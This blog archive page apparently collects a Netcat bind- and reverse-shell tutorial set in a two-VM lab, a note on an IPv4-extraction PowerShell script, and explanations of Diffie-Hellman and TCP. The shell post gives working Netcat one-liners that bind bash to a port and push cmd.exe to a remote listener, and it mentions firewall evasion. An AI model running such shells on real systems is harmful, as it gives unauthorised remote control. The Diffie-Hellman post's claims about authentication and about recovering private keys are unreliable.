Tag Archives: TCP/IP Suite

What are Bind and Reverse Shells?

I wanted to make a very short and simple post about shells…when starting out in pen testing you will hear a lot of chatter about shells, so this post hopes to clear up some of the terminology involved.

Now I guess that since you are reading this you’re already familiar with what a shell is. *If not have a look here* What I wanted to cover was bind shells and reverse shells…and what exactly the differences are. To do this we are going to run through a short exercise using the classic Netcat.

What you will need for this exercise are two machines on the same network segment, both with a copy of Netcat on them. They can be any combination of Linux or Windows (or something more exotic and/or $expensive = Macs).

For this exercise I spun up a couple of VMs, one Kali Linux box and one Windows Server 2012 box.

Netcat is included on Linux distros that come with Nmap as standard or can be downloaded from most standard Linux repos, for Windows you can pull the nc.exe from the web

Netcat is a simple (but powerful) command line tool that has become something of legend in the networking and security worlds, put simply Netcat can throw up listening TCP and UDP ports very quickly, it can unsurprisingly enough also connect to TCP and UDP ports just as easily.

Netcat comes into its own however with its power to read and write bits to and from these connections, this allows Netcat to perform a vast array of functions. For more have a look at the Netcat main page.

It is Netcat’s ability to read and write to layer 4 connections and streams that allows us to create the shells. This is done by redirecting the 3 shell I/O streams, stdin, stdout and stderr over the layer 4 connections.

The nuances of what is a bind shell and what is a reverse shell are dictated by the client server paradigm.

Okay, demo time, so either play along at home or just put your feet up and watch. *Read*

Our two boxes are Wendy the Windows box ( and Lynn the Linux box (

So we will start with a bind shell, this is really quite simple, a bind shell is called a bind shell because it binds a shell to a listening TCP port. For example;

Lynn the Linux box wants to bind its bash shall to a listening port, the following command can be used to do this;

Lynn nc -nlvp nc 9874 -e /bin/bash

Let’s break that command down, nc is the Netcat binary, -nlvp: numeric (no dns names), listening, verbose and port, with 9874 as the option, this being the port that will be set to listen. The -e points to a file to be executed after the connection is established, in this instance that file is /bin/bash, our shell.

Now when a connection is established on Lynn (, the bash shell will fire up and proceed to redirect it’s I/O streams across the connection. So if we connect to it from another box we can access Lynn’s shell, lets do this from Wendy;

Wendy nc -nv 9874

And that’s it…it’s that simple, we now have control over an instance of bash running on Lynn from Wendy. From Wendy we can issue commands and see the output of them.


The reason this is known as a bind shell is because the shell is bound to the listening port, but what if we want to access Wendy’s Shell from Lynn while still maintaining the same Client/Server paradigm?

Well thankfully this is just as easy, what we are about to do is known as a reverse shell. First, as before we will set up a listening TCP port on Lynn, this time however we are not going to bind a shell to the listening port.

Lynn nc -nlvp nc 9874

Now on Wendy we are going to connect to Lynn’s listening port of 9874, this time however we are going to attach the Wendy’s cmd.exe shell to the client end of the conversation.

Wendy nc -nv 9874 -e cmd.exe

We now have access to Wendy’s shell on Lynn. There are a number of different reasons why we might choose between bind and reverse shells, the main one as far as pen testing goes is basic evasion, connections could be allowed in one direction but denied in the other, if Wendy and Lynn were on two separate network segments with a firewall in the middle for example, the firewall may allow outbound connections, but deny inbound connections.

In the example above Lynn acted as the server and Wendy as the client, but this paradigm can be reversed with the exact same results for both bind and reverse shells, simply setting Wendy to listen instead of Lynn

IPv4 Threat Intelligence – PowerShell Script

Following on from by previous post about gathering IPv4 threat intelligence automatically with Python scripts I thought I would follow it up with a PowerShell script I wrote that does something similar.

This script will work on Windows without the need for any extra installs, so it is perfect for users that only have access to Windows in the workplace.

It is often the case that security analysts and sys-admins need to grab bulk lists of IPv4 addresses from a data source, this data source can be logs, websites and intelligence feeds. Data sources such as these can contain lots of redundant data, such as domain names, time stamps etc. etc. In general removing this data can be done simply with a script and this is exactly what that script does.

I have seen a few scripts kicking about that do something similar to this, but they generally contain way more lines of code than is needed (although this does have some ASCII art of cats and dogs that really doesn’t need to be there) as well as requiring some kind of user input. This script is very tight with the code and the only user input required is dragging the input file over to the scripts directory.

This script allows you to take the data source in the form of a file and automatically convert it to a .csv of IPv4 addresses, fully de-deduped and with all redundant removed, ready to be used for whatever purpose you have in mind for it.

The Script is quite raw at the moment, so you will need to make a couple of edits to tailor it to your environment. See below for the bits that you may wish to edit:

  • Put the script in you documents folder as such $home\Documents\ipv4\
  • The file you want to run the script on will need to be dumped in the same folder
  • The ipv4_* wildcard is used to detect the input file
  • Follow this guide if you want to run the PowerShell script with a simple double click of a batch script

I have a script very similar to this that does the same thing, but grabs the input data from the web (similar to the python scripts, but in PowerShell), I will post this in the next few days.

Find the script here on GitHub

Diffie-Hellman: The Basics

The Diffie-Hellman Key Exchange is a method of securely exchanging cryptographic keys across insecure and untrusted networks. To do this a shared secret between two entities must be created, it does this with a mathematical one way function. A one way function is a problem that is difficult to solve in one direction, but easy in the other. Most major websites use one way function to store password hash digests rather than the users actual password.

A simple to under stand one way function can be explained with mixing paint. If you have three different colours of paint, and mix them together, it would be almost impossible to reverse engineer the mixed paint to discover the original colours.

Below is a simple to understand break down of the mechanism that Diffe-Hellman employs. It is explained both with mathematics and colours for simplicity. Bob and Alice want to create a shared secret and mutually authenticate each other, Eve wants to know what the secret is…how do Alice and Bob Stop her?

Step 1: Alice and Bob agree on of a Prime Modulus ie. 17 and a primitive root ie. 3. This is a number that when raised to any exponent (X) with modulus produces a equiprobable result. 3 is a prime root of 17.


Step 2: Alice and Bob both select random Private Keys. This number will be used as the exponent and is used as the exponent X in the agreed modulus equation. Without the Private Key this is very difficult to reverse. (A large prime modulus must be used, 17 is just for demonstration purposes)


Step 3: The results of this produce Alice and Bob’s Public Keys 6 | PURPLE and 12 | ORANGE These are then shared


Step 4: The Public keys is then shared, allowing Eve to intercept them. The private keys are kept secret so Eve does not know the private key/exponent to allow her reverse the maths to find them.
Now Alice and Bob can use each others Public Keys for the start of their Modulus equation. With their Private Key as the exponent once again.


10 | BLACK is the shared secret. Both sides will always find the same result as their Private Key is obfuscated in the Public Key. So the equations are basically the same. But Alice and Bob can workout each others Private Key. Eve can not work out the Private Keys or the Shared Secret.

This is a very basic explanation of the broad concept. Understanding each step involved here is vital, before endeavouring to learn Diffie-Hell in detail.

If you are struggling to understand this, have a look at Khan Academy’s excellent video on this subject that is presented by Birt Cruise.

A bit about TCP

In this post I am going to talk about one of the celebrities of the protocol world; Transmission Control Protocol or as it is known to its friends, TCP. TCP is one of the internet’s big hitters, along with its layer 3 cousin IP, it lends its name to the TCP/IP protocol suite, which is a collection of standardised protocols commonly used on the internet. TCP lives in the transport layer (layer 4) of the OSI model and as such is a transportation protocol.

TCP provides reliability to the data that is being sent over the network, a lot of the core internet technologies make use of TCP to ensure that all the data they send is received intact and free of errors, TCP does this independently and hidden from the higher layer application that is making use of it, be it POP3 or IMAP that use TCP in email communications, or FTP that uses TCP in file transfers. For example if you are browsing the web and wish to view a web page, your browser will make a HTTP (a layer 7 application protocol for requesting resources most commonly HTML files) request to the websites host server, if just a single bit is missing from the requested HTML file then it will be corrupt rendering it unintelligible by the web browser. TCP provides reliability and error checking to ensure that every bit of the requested file is received intact by the requesting browser; this will be done completely transparently to the browser, for all it knows TCP does not even exist.

TCP Header

TCP is a connection oriented protocol, what this means is that a connection between both devices in the conversation need to have a connection established to allow them to reliably send data between each other, think of it as a phone call, if you call someone you won’t start speaking until the person at the other end has answered and acknowledged and confirmed that you have a connection by saying “Hello”.

When data is received from the higher layer protocols, TCP splits the data into chunks, and gives each chunk of data a TCP header, this header will include a sequence number assigned to each chunk so that all data can be reassembled in the correct order on the receiving side of the transmission, the chunks are now known as TCP segments. The sequence number not only allows for data to be reconstructed correctly they also assist with reliability, but before we get to that, first we have to establish a reliable connection between two devices.

Three-way Handshake

This connection is established by using what is known as the Three-way Hand Shake, the device initiating the connection will transmit a SYN segment, this synchronises the sequence numbers and specifies what the Initial Sequence Number (ISN) will be, the ISN will be incremented by one for each transmitted segment. The receiver will then reply with a SYN-ACK segment, this acknowledges the request to establish a connection from the initiating device. The third segment that completes the Three-way Handshake process is sent from the initiator is an ACK or acknowledgment message.

Using a cumulative acknowledgment scheme, the receiver knows what sequence number it expects to receive next, if does not receive the number it expects it will ask for it to be retransmitted, additionally if a segment is retransmitted and received twice the sequence numbers allow for that packet to be discarded.
The TCP header also contains a number of other fields, one dedicated to error detection; this is the checksum field, a small hash sum that checks and detects errors in the segment. Source and destination port numbers, each application use ports to communicate, for example the HTTP protocol uses port 80 to receive segments.

TCP also has mechanisms to control the flow of segments, this prevents a receiving device that cannot process the TCP segments as fast as its corresponding device from being overwhelmed, it does this by implementing the sliding window system, in which the receiving device tells the sender how much information it can buffer, the sending device will then only send the amount of data that the receiver can process in a timely fashion, allowing for the conversation to proceed smoothly.

It is thanks to some of the features outlined above that makes TCP the most used reliable transport protocol on the internet, but this post is not a complete list of the features and benefits of TCP, several other features are built in to the protocol, including congestion control, to avoid a drop in network performance, maximum segment size, that specifies the size of each segment that is sent and a number of other features that can be read about in detail in the Internet Engineering Task Force‘s (IETF) RFC standards that specify the exact operation of TCP.